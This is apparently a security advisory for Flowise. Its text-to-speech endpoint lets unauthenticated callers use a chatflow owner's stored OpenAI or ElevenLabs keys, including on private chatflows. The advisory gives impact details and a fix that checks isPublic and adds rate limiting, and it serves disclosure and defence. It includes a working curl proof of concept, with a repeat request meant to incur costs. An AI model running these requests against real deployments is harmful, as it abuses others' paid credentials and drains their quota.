Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials

This credentialId is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at packages/components/src/textToSpeech.ts:33-34:

const credentialId = textToSpeechConfig.credentialId as string
const credentialData = await getCredentialData(credentialId ?? '', options)

PoC

# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)
CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>"

# Step 2: Abuse the TTS credential to generate audio without authentication
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-1",
    "chatMessageId": "msg-1",
    "text": "This is a test of unauthorized TTS generation using someone elses API key"
  }'

# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials
# event: tts_start
# data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}}
# event: tts_data
# data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}}

# Step 3: Repeat with large text to incur costs
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-2",
    "chatMessageId": "msg-2",
    "text": "'$(python3 -c "print('A' * 4096)")'"
  }'

Impact

• Financial Impact: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio.
• Credential Abuse: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker.
• Denial of Service: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow.
• Affects Private Chatflows: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (isPublic: false).

Recommended Fix

1. Check isPublic before allowing unauthenticated TTS generation:

// packages/server/src/controllers/text-to-speech/index.ts
if (chatflowId) {
    let chatflow;
    let workspaceId = req.user?.activeWorkspaceId;
    
    if (workspaceId) {
        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
    } else {
        chatflow = await chatflowsService.getChatflowById(chatflowId)
        // Verify the chatflow is public before using its credentials
        if (!chatflow.isPublic) {
            throw new InternalFlowiseError(
                StatusCodes.UNAUTHORIZED,
                'TTS generation requires authentication for non-public chatflows'
            )
        }
        workspaceId = chatflow.workspaceId
    }
    // ... rest of the function
}

2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.